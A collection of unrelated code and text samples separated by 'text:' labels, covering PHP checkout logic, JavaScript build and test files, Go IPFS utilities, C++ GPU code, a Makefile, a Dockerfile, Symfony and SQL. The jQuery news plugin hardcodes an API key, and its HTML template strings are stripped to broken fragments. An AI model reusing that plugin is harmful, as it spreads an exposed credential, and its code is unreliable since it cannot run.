			$json['redirect'] = $this->url->link('checkout/checkout', '', 'SSL');
		}

		if ((!$this->cart->hasProducts() && empty($this->session->data['vouchers'])) || (!$this->cart->hasStock() && !$this->config->get('config_stock_checkout'))) {
			$json['redirect'] = $this->url->link('checkout/cart');
		}

		if (!$json) {
			if (!$this->customer->login($this->request->post['email'], $this->request->post['password'])) {
				$json['error']['warning'] = $this->language->get('error_login');
			}

			$this->load->model('account/customer');

			$customer_info = $this->model_account_customer->getCustomerByEmail($this->request->post['email']);

			if ($customer_info && !$customer_info['approved']) {
				$json['error']['warning'] = $this->language->get('error_approved');
			}
		}

		if (!$json) {
			unset($this->session->data['guest']);

			// Default Addresses
			$this->load->model('account/address');

			$address_info = $this->model_account_address->getAddress($this->customer->getAddressId());

			if ($address_info) {
				if ($this->config->get('config_tax_customer') == 'shipping') {
					$this->session->data['shipping_country_id'] = $address_info['country_id'];
					$this->session->data['shipping_zone_id'] = $address_info['zone_id'];
					$this->session->data['shipping_postcode'] = $address_info['postcode'];
				}

				if ($this->config->get('config_tax_customer') == 'payment') {
					$this->session->data['payment_country_id'] = $address_info['country_id'];
					$this->session->data['payment_zone_id'] = $address_info['zone_id'];
				}
			} else {
				unset($this->session->data['shipping_country_id']);
				unset($this->session->data['shipping_zone_id']);
				unset($this->session->data['shipping_postcode']);
				unset($this->session->data['payment_country_id']);
				unset($this->session->data['payment_zone_id']);
			}

			$json['redirect'] = $this->url->link('checkout/checkout', '', 'SSL');
		}

		$this->response->setOutput(json_encode($json));
	}
}
?>


text:
'use strict';

var
  gulp = require('gulp');

// Build the all sources
gulp.task('app-build', [
  'app-styles',           // collect, generate & concat the application styles
  'app-style-images',     //
  'app-jshint',
  'app-scripts',          // collect & concat the application scripts
  'app-index',            // copy & optimize the index.html
  'app-templates',        // collects the html templates & insert to templateCache
  'app-images',           // copy & optimize the images
  'app-translate',        // copy (& minifiy) the translation files
  'vendor-fonts',         // copy the awesome fonts
  'vendor-scripts',       // collect, concat (& minify) the vendor scripts
  'vendor-styles',        // collect, concat (& minify) the vendor styles
  'vendor-style-images',  //
  'modernizr'             // copy (& uglify) the modernizr script
]);


text:
(function () {
  'use strict';

  describe('Xmens Controller Tests', function () {
    // Initialize global variables
    var XmensController,
      $scope,
      $httpBackend,
      $state,
      Authentication,
      XmensService,
      mockXmen;

    // The $resource service augments the response object with methods for updating and deleting the resource.
    // If we were to use the standard toEqual matcher, our tests would fail because the test values would not match
    // the responses exactly. To solve the problem, we define a new toEqualData Jasmine matcher.
    // When the toEqualData matcher compares two objects, it takes only object properties into
    // account and ignores methods.
    beforeEach(function () {
      jasmine.addMatchers({
        toEqualData: function (util, customEqualityTesters) {
          return {
            compare: function (actual, expected) {
              return {
                pass: angular.equals(actual, expected)
              };
            }
          };
        }
      });
    });

    // Then we can start by loading the main application module
    beforeEach(module(ApplicationConfiguration.applicationModuleName));

    // The injector ignores leading and trailing underscores here (i.e. _$httpBackend_).
    // This allows us to inject a service but then attach it to a variable
    // with the same name as the service.
    beforeEach(inject(function ($controller, $rootScope, _$state_, _$httpBackend_, _Authentication_, _XmensService_) {
      // Set a new global scope
      $scope = $rootScope.$new();

      // Point global variables to injected services
      $httpBackend = _$httpBackend_;
      $state = _$state_;
      Authentication = _Authentication_;
      XmensService = _XmensService_;

      // create mock Xmen
      mockXmen = new XmensService({
        _id: '525a8422f6d0f87f0e407a33',
        name: 'Xmen Name'
      });

      // Mock logged in user
      Authentication.user = {
        roles: ['user']
      };

      // Initialize the Xmens controller.
      XmensController = $controller('XmensController as vm', {
        $scope: $scope,
        xmenResolve: {}
      });

      //Spy on state go
      spyOn($state, 'go');
    }));

    describe('vm.save() as create', function () {
      var sampleXmenPostData;

      beforeEach(function () {
        // Create a sample Xmen object
        sampleXmenPostData = new XmensService({
          name: 'Xmen Name'
        });

        $scope.vm.xmen = sampleXmenPostData;
      });

      it('should send a POST request with the form input values and then locate to new object URL', inject(function (XmensService) {
        // Set POST response
        $httpBackend.expectPOST('api/xmens', sampleXmenPostData).respond(mockXmen);

        // Run controller functionality
        $scope.vm.save(true);
        $httpBackend.flush();

        // Test URL redirection after the Xmen was created
        expect($state.go).toHaveBeenCalledWith('xmens.view', {
          xmenId: mockXmen._id
        });
      }));

      it('should set $scope.vm.error if error', function () {
        var errorMessage = 'this is an error message';
        $httpBackend.expectPOST('api/xmens', sampleXmenPostData).respond(400, {
          message: errorMessage
        });

        $scope.vm.save(true);
        $httpBackend.flush();

        expect($scope.vm.error).toBe(errorMessage);
      });
    });

    describe('vm.save() as update', function () {
      beforeEach(function () {
        // Mock Xmen in $scope
        $scope.vm.xmen = mockXmen;
      });

      it('should update a valid Xmen', inject(function (XmensService) {
        // Set PUT response
        $httpBackend.expectPUT(/api\/xmens\/([0-9a-fA-F]{24})$/).respond();

        // Run controller functionality
        $scope.vm.save(true);
        $httpBackend.flush();

        // Test URL location to new object
        expect($state.go).toHaveBeenCalledWith('xmens.view', {
          xmenId: mockXmen._id
        });
      }));

      it('should set $scope.vm.error if error', inject(function (XmensService) {
        var errorMessage = 'error';
        $httpBackend.expectPUT(/api\/xmens\/([0-9a-fA-F]{24})$/).respond(400, {
          message: errorMessage
        });

        $scope.vm.save(true);
        $httpBackend.flush();

        expect($scope.vm.error).toBe(errorMessage);
      }));
    });

    describe('vm.remove()', function () {
      beforeEach(function () {
        //Setup Xmens
        $scope.vm.xmen = mockXmen;
      });

      it('should delete the Xmen and redirect to Xmens', function () {
        //Return true on confirm message
        spyOn(window, 'confirm').and.returnValue(true);

        $httpBackend.expectDELETE(/api\/xmens\/([0-9a-fA-F]{24})$/).respond(204);

        $scope.vm.remove();
        $httpBackend.flush();

        expect($state.go).toHaveBeenCalledWith('xmens.list');
      });

      it('should should not delete the Xmen and not redirect', function () {
        //Return false on confirm message
        spyOn(window, 'confirm').and.returnValue(false);

        $scope.vm.remove();

        expect($state.go).not.toHaveBeenCalled();
      });
    });
  });
})();


text:
package dagutils

import (
	"context"
	"fmt"
	"path"

	dag "github.com/ipfs/go-ipfs/merkledag"

	cid "gx/ipfs/QmcZfnkapfECQGcLZaf9B79NRg7cRa9EnZh4LSbkCzwNvY/go-cid"
	ipld "gx/ipfs/Qme5bWv7wtjUNGsK2BNGVUFPKiuxWrsqrtvYwCLRw8YFES/go-ipld-format"
)

// These constants define the changes that can be applied to a DAG.
const (
	Add = iota
	Remove
	Mod
)

// Change represents a change to a DAG and contains a reference to the old and
// new CIDs.
type Change struct {
	Type   int
	Path   string
	Before *cid.Cid
	After  *cid.Cid
}

// String prints a human-friendly line about a change.
func (c *Change) String() string {
	switch c.Type {
	case Add:
		return fmt.Sprintf("Added %s at %s", c.After.String(), c.Path)
	case Remove:
		return fmt.Sprintf("Removed %s from %s", c.Before.String(), c.Path)
	case Mod:
		return fmt.Sprintf("Changed %s to %s at %s", c.Before.String(), c.After.String(), c.Path)
	default:
		panic("nope")
	}
}

// ApplyChange applies the requested changes to the given node in the given dag.
func ApplyChange(ctx context.Context, ds ipld.DAGService, nd *dag.ProtoNode, cs []*Change) (*dag.ProtoNode, error) {
	e := NewDagEditor(nd, ds)
	for _, c := range cs {
		switch c.Type {
		case Add:
			child, err := ds.Get(ctx, c.After)
			if err != nil {
				return nil, err
			}

			childpb, ok := child.(*dag.ProtoNode)
			if !ok {
				return nil, dag.ErrNotProtobuf
			}

			err = e.InsertNodeAtPath(ctx, c.Path, childpb, nil)
			if err != nil {
				return nil, err
			}

		case Remove:
			err := e.RmLink(ctx, c.Path)
			if err != nil {
				return nil, err
			}

		case Mod:
			err := e.RmLink(ctx, c.Path)
			if err != nil {
				return nil, err
			}
			child, err := ds.Get(ctx, c.After)
			if err != nil {
				return nil, err
			}

			childpb, ok := child.(*dag.ProtoNode)
			if !ok {
				return nil, dag.ErrNotProtobuf
			}

			err = e.InsertNodeAtPath(ctx, c.Path, childpb, nil)
			if err != nil {
				return nil, err
			}
		}
	}

	return e.Finalize(ctx, ds)
}

// Diff returns a set of changes that transform node 'a' into node 'b'
func Diff(ctx context.Context, ds ipld.DAGService, a, b ipld.Node) ([]*Change, error) {
	// Base case where both nodes are leaves, just compare
	// their CIDs.
	if len(a.Links()) == 0 && len(b.Links()) == 0 {
		if a.Cid().Equals(b.Cid()) {
			return []*Change{}, nil
		}
		return []*Change{
			&Change{
				Type:   Mod,
				Before: a.Cid(),
				After:  b.Cid(),
			},
		}, nil
	}

	var out []*Change
	cleanA := a.Copy().(*dag.ProtoNode)
	cleanB := b.Copy().(*dag.ProtoNode)

	// strip out unchanged stuff
	for _, lnk := range a.Links() {
		l, _, err := b.ResolveLink([]string{lnk.Name})
		if err == nil {
			if l.Cid.Equals(lnk.Cid) {
				// no change... ignore it
			} else {
				anode, err := lnk.GetNode(ctx, ds)
				if err != nil {
					return nil, err
				}

				bnode, err := l.GetNode(ctx, ds)
				if err != nil {
					return nil, err
				}

				anodepb, ok := anode.(*dag.ProtoNode)
				if !ok {
					return nil, dag.ErrNotProtobuf
				}

				bnodepb, ok := bnode.(*dag.ProtoNode)
				if !ok {
					return nil, dag.ErrNotProtobuf
				}

				sub, err := Diff(ctx, ds, anodepb, bnodepb)
				if err != nil {
					return nil, err
				}

				for _, subc := range sub {
					subc.Path = path.Join(lnk.Name, subc.Path)
					out = append(out, subc)
				}
			}
			cleanA.RemoveNodeLink(l.Name)
			cleanB.RemoveNodeLink(l.Name)
		}
	}

	for _, lnk := range cleanA.Links() {
		out = append(out, &Change{
			Type:   Remove,
			Path:   lnk.Name,
			Before: lnk.Cid,
		})
	}
	for _, lnk := range cleanB.Links() {
		out = append(out, &Change{
			Type:  Add,
			Path:  lnk.Name,
			After: lnk.Cid,
		})
	}

	return out, nil
}

// Conflict represents two incompatible changes and is returned by MergeDiffs().
type Conflict struct {
	A *Change
	B *Change
}

// MergeDiffs takes two slice of changes and adds them to a single slice.
// When a Change from b happens to the same path of an existing change in a,
// a conflict is created and b is not added to the merged slice.
// A slice of Conflicts is returned and contains pointers to the
// Changes involved (which share the same path).
func MergeDiffs(a, b []*Change) ([]*Change, []Conflict) {
	var out []*Change
	var conflicts []Conflict
	paths := make(map[string]*Change)
	for _, c := range a {
		paths[c.Path] = c
	}

	for _, c := range b {
		if ca, ok := paths[c.Path]; ok {
			conflicts = append(conflicts, Conflict{
				A: ca,
				B: c,
			})
		} else {
			out = append(out, c)
		}
	}
	for _, c := range paths {
		out = append(out, c)
	}
	return out, conflicts
}


text: Tout ce que vous devez savoir pour vous faire mousser en famille à Noël.


text:
// =============================================================================
// === GPUQREngine/Source/BucketList.cpp =======================================
// =============================================================================
//
// This file contains logic to construct and destroy a BucketList.
//
// To support debugging and code coverage tests, we use placement new in order
// to trap and exercise out-of-memory conditions within the operating system
// memory manager.
//
// =============================================================================
// The pattern in use in this file is the memory allocation self-contained
// within the constructor with concrete initialization codes appearing in the
// initializer.This practice is common in OO languages, such as Java in which
// the constructor is responsible for memory management AND initialization.
// =============================================================================

#include "GPUQREngine_BucketList.hpp"

#define FREE_EVERYTHING \
    head = (Int *) SuiteSparse_free(head); \
    idleTileCount = (Int *) SuiteSparse_free(idleTileCount); \
    bundleCount = (Int *) SuiteSparse_free(bundleCount); \
    prev = (Int *) SuiteSparse_free(prev); \
    next = (Int *) SuiteSparse_free(next); \
    triu = (bool *) SuiteSparse_free(triu); \
    Bundles = (LLBundle *) SuiteSparse_free(Bundles); \
    gpuVT = (double **) SuiteSparse_free(gpuVT); \
    wsMongoVT = Workspace::destroy(wsMongoVT);

BucketList::BucketList
(
    Front *F,
    Int minApplyGranularity
)
{
    this->useFlag = true;
    this->memory_ok = true;

    this->front = F;
    int fm = front->fm;
    int fn = front->fn;
    Int *Stair = front->Stair;

    numRowTiles = CEIL(fm, TILESIZE);
    numColTiles = CEIL(fn, TILESIZE);
    numBuckets = numColTiles;
    numIdleTiles = numBundles = 0;
    PanelSize = PANELSIZE;
    TileSize = TILESIZE;
    Wavefront = LastBucket = 0;
    VThead = 0;
    ApplyGranularity = minApplyGranularity;

    // FUTURE: malloc space once for all fronts in a stage

    /* Allocate Memory */
    head = (Int*) SuiteSparse_calloc(numBuckets, sizeof(Int));
    idleTileCount = (Int*) SuiteSparse_calloc(numBuckets, sizeof(Int));
    bundleCount = (Int*) SuiteSparse_calloc(numBuckets, sizeof(Int));
    next = (Int*) SuiteSparse_calloc(numRowTiles, sizeof(Int));
    prev = (Int*) SuiteSparse_calloc(numRowTiles, sizeof(Int));
    triu = (bool*) SuiteSparse_calloc(numRowTiles, sizeof(bool));
    Bundles = (LLBundle*) SuiteSparse_calloc(numRowTiles, sizeof(LLBundle));
    gpuVT = (double**) SuiteSparse_calloc(numRowTiles, sizeof(double*));

    // malloc wsMongoVT on the GPU
    wsMongoVT = Workspace::allocate (numRowTiles*(TILESIZE+1)*TILESIZE, // GPU
        sizeof(double), false, false, true, false) ;

    /* If we failed to allocate memory, return. */
    if(!head || !idleTileCount || !bundleCount || !next || !prev || !triu
       || !Bundles || !gpuVT || !wsMongoVT)
    {
        FREE_EVERYTHING ;
        memory_ok = false ;
        return;
    }

    /* Initialize data structures */

    /* Initialize buckets */
    for (int i = 0; i < numBuckets; i++)
    {
        head[i] = EMPTY;
        idleTileCount[i] = bundleCount[i] = 0;
    }
    for (int i = 0; i < numRowTiles; i++)
    {
        next[i] = prev[i] = EMPTY;
        triu[i] = false;
    }

    /* Initialize VT structure */
    for(int i=0; i<numRowTiles; i++)
    {
        gpuVT[i] = (double*) wsMongoVT->gpu() + 33*32*i; // base + offset
    }
}

BucketList::~BucketList()
{
    FREE_EVERYTHING ;

}

void BucketList::Initialize()
{
    int fm = front->fm;
    int fn = front->fn;
    Int *Stair = front->Stair;

    int rowtile = 0;
    for (int colBucket = 0;
        colBucket < numBuckets && numIdleTiles < numRowTiles; colBucket++)
    {
        int lastcol = MIN(fn - 1, colBucket * TileSize + (TileSize - 1));
        int row = MIN(Stair[lastcol], fm - 1);
        row = MAX(row, lastcol); // Handle structural rank deficiency.

        int itile = row / TileSize;
        if (itile >= rowtile)
        {
            for (int i = itile; i >= rowtile; i--) { Insert(i, colBucket); }
            rowtile = itile + 1;
        }
    }
}


text:
ACCEPTED

#### According to
The Catalogue of Life, 3rd January 2011

#### Published in
Proc. Amer. Acad. Arts 4:39. 1858 ("1860")

#### Original name
null

### Remarks
null


text:
include Makefile.defs

# If CFLAGS_CRAY is empty set it to CFLAGS
ifeq ($(CFLAGS_CRAY),)
CFLAGS_CRAY = ${CFLAGS}
endif

.c.o:
	${CC} ${CFLAGS} $(OMPFLAG) -c $*.c

SYNCOBJS =  syncbench.o common.o
SCHEDOBJS = schedbench.o common_sched.o
ARRAYOBJS = arraybench_$(IDA).o common.o
TASKOBJS =  taskbench.o common.o
SCHEDFLAGS = -DSCHEDBENCH

all:	syncbench schedbench taskbench
	$(MAKE) IDA=1 prog
	$(MAKE) IDA=3 prog
	$(MAKE) IDA=9 prog
	$(MAKE) IDA=27 prog
	$(MAKE) IDA=81 prog
	$(MAKE) IDA=243 prog
	$(MAKE) IDA=729 prog
	$(MAKE) IDA=2187 prog
	$(MAKE) IDA=6561 prog
	$(MAKE) IDA=19683 prog
	$(MAKE) IDA=59049 prog

prog: arraybench_$(IDA)

syncbench: $(SYNCOBJS)
	$(CC) -o syncbench $(LDFLAGS) $(SYNCOBJS) $(CLOCKOBJS) $(LIBS) -lm

# Rule to ensure the lower optimisation level is picked up for common.c
# with the Cray compiler
common.o:
	${CC} ${CFLAGS_CRAY} $(OMPFLAG) -c $*.c

# Separate rule to build common_sched.o as we need to ensure the correct
# DEFAULT_DELAY_TIME is used.
common_sched.o:
	${CC} ${CFLAGS_CRAY} $(SCHEDFLAGS) $(OMPFLAG) -o common_sched.o -c common.c

schedbench: $(SCHEDOBJS)
	$(CC) -o schedbench  $(LDFLAGS) $(SCHEDOBJS) $(CLOCKOBJS) $(LIBS) -lm

# Multiple header files due to multiple array sizes, makes header file arraybench_*.h
arraybench_$(IDA).h: arraybench.h
	$(CPP) -DIDA=$(IDA) $(OMPFLAG) -P arraybench.h -o $@

# Multiple object files due to multiple array sizes, makes object file arraybench_*.o
arraybench_$(IDA).o: arraybench_$(IDA).h arraybench.c
	$(CC) $(CFLAGS) -DIDA=$(IDA) $(OMPFLAG) arraybench.c -c -o $@

# Multiple executables due to multiple array sizes, makes exe file arraybench_*
arraybench_$(IDA): $(ARRAYOBJS) $(CLOCKOBJS) arraybench.c
	$(CC) $(LDFLAGS) $(ARRAYOBJS) $(CLOCKOBJS) $(LIBS) -lm -o $@

taskbench: $(TASKOBJS)
	$(CC) -o taskbench $(LDFLAGS) $(OMPFLAG) $(TASKOBJS) $(CLOCKOBJS) $(LIBS) -lm

clean:
	-rm *.o syncbench schedbench arraybench_* taskbench

clean-all: clean
	-rm OpenMPBench.* *.all


text:
FROM ubuntu:14.04
MAINTAINER Chris Armstrong <chris@chrisarmstrong.me>
ENV DEBIAN_FRONTEND noninteractive
RUN apt-get update && apt-get install -yq software-properties-common
RUN add-apt-repository ppa:semiosis/ubuntu-glusterfs-3.5
RUN apt-get update && apt-get install -yq glusterfs-server


text:
;(function(window, Eleven, $){

  Eleven.plugin('news', function(options){
    return new news(options);
  });

  var news = function(options){
    this.options = $.extend(true, {}, options || {});
  };

  $.extend(news.prototype, {
    createList: function(data, total){
      var articles = data.articles.slice(2);
      var data = [];

      Eleven.clearStage();

      articles.forEach(function(article){
        var description = article.description || '';

        if(description && description.length > 120){
          description = article.description.substr(0, 300).split(' ').slice(0, -1).join(' ') + ' ...';
        }

        if(article.urlToImage){
          const img = new Image();
          img.src = article.urlToImage;
        }

        data.push({
          image: article.urlToImage,
          title: article.title,
          description: description,
          originalDescription: article.description,
          url: article.url
        });
      });

      this.cache = data;

      this.article = $('

');
      this.frame = this.article.find('#news-frame');

      setTimeout(() => {
        var container = $('

'),
            wrapper = $('

');

        this.wrapper = wrapper.append(container);

        $(Eleven.stage).append(wrapper).append(this.article);

        wrapper.addClass('show');

        $('#carousel').carousel({
          template: [
            '
',
              '
<
',
              '
',
                '
{items}
',
              '
',
              '
>
',
            '
'
          ].join(''),
          itemTemplate: [
            '
',
              '
',
                '
',
                  '

',
                '
',
                '
',
                  '
{title}
',
                  '
{description}
',
                '
',
              '
',
            '
'
          ].join(''),
          data: data
        });
      }, 500);
    },

    fetch: function(source, callback){
      var self = this;

      console.log(source);

      $.ajax({
        url: 'https://newsapi.org/v1/articles',
        dataType: 'json',
        data: {
          apiKey: 'e80471c0aa344ef3aa5cc466eb5375c4',
          sortBy: 'top',
          source: source ? source.toLowerCase() : 'bbc-news'
        },
        success: function(data){
          self.createList(data);

          if($.isFunction(callback)){
            callback(data);
          }
        },
        error: function(data){
          console.log(data);
        }
      });
    },

    headlines: function(source, callback){
      document.body.classList.add('interactive');
      this.fetch(source, callback);
    },

    stop: function(){
      this.article.removeClass('show');
      this.wrapper.removeClass('backset');
    },

    nextPage: function(){
      $('.carousel-next').click();
    },

    previousPage: function(){
      $('.carousel-prev').click();
    },

    launch: function(index){
      var item = this.cache[Number(index)-1];
      // this.frame.attr('src', this.cache[index-1].url);
      //
      // this.frame.on('load', () => {
        this.article
          .empty()
          .html(
            $.format(
              [
                '
',
                  '
',
                    '

',
                  '
',
                  '
',
                    '
{title}
',
                    '
{description}
',
                  '
',
                '
'
              ].join(''), {
                image: item.image,
                title: item.title,
                description: item.originalDescription
              })
            );

        this.article.addClass('show');
        this.wrapper.addClass('backset');
      // });
        // console.log(this.wrapper.find('li').eq(index));
    }
  });

})(window, Eleven, $);


text:
<?php

namespace Juit\EMailBundle\DependencyInjection;

use Symfony\Component\Config\Definition\Builder\TreeBuilder;
use Symfony\Component\Config\Definition\ConfigurationInterface;

/**
 * This is the class that validates and merges configuration from your app/config files
 *
 * To learn more see {@link http://symfony.com/doc/current/cookbook/bundles/extension.html#cookbook-bundles-extension-config-class}
 */
class Configuration implements ConfigurationInterface
{
    /**
     * {@inheritDoc}
     */
    public function getConfigTreeBuilder()
    {
        $treeBuilder = new TreeBuilder();
        $rootNode = $treeBuilder->root('xxx');

        $rootNode
            ->children()
                ->scalarNode('default_e_mail_sender_address')
                    ->defaultNull()
                ->end()
                ->scalarNode('default_e_mail_sender_name')
                    ->defaultNull()
                ->end()
            ->end();

        return $treeBuilder;
    }
}


text:
CREATE TABLE climate_average_geometric (
    id integer NOT NULL,
    ch_temp double precision,
    ch_dm double precision,
    temp_dm double precision,
    bobot_ch double precision,
    boobt_temp double precision,
    bobot_dm double precision,
    cr double precision,
    date timestamp without time zone DEFAULT now(),
    sum_climate_datas integer,
    note character varying
);

CREATE SEQUENCE climate_summary_id_seq
    START WITH 1
    INCREMENT BY 1
    NO MINVALUE
    NO MAXVALUE
    CACHE 1;

ALTER SEQUENCE climate_summary_id_seq OWNED BY climate_average_geometric.id;

ALTER TABLE ONLY climate_average_geometric ALTER COLUMN id SET DEFAULT nextval('climate_summary_id_seq'::regclass);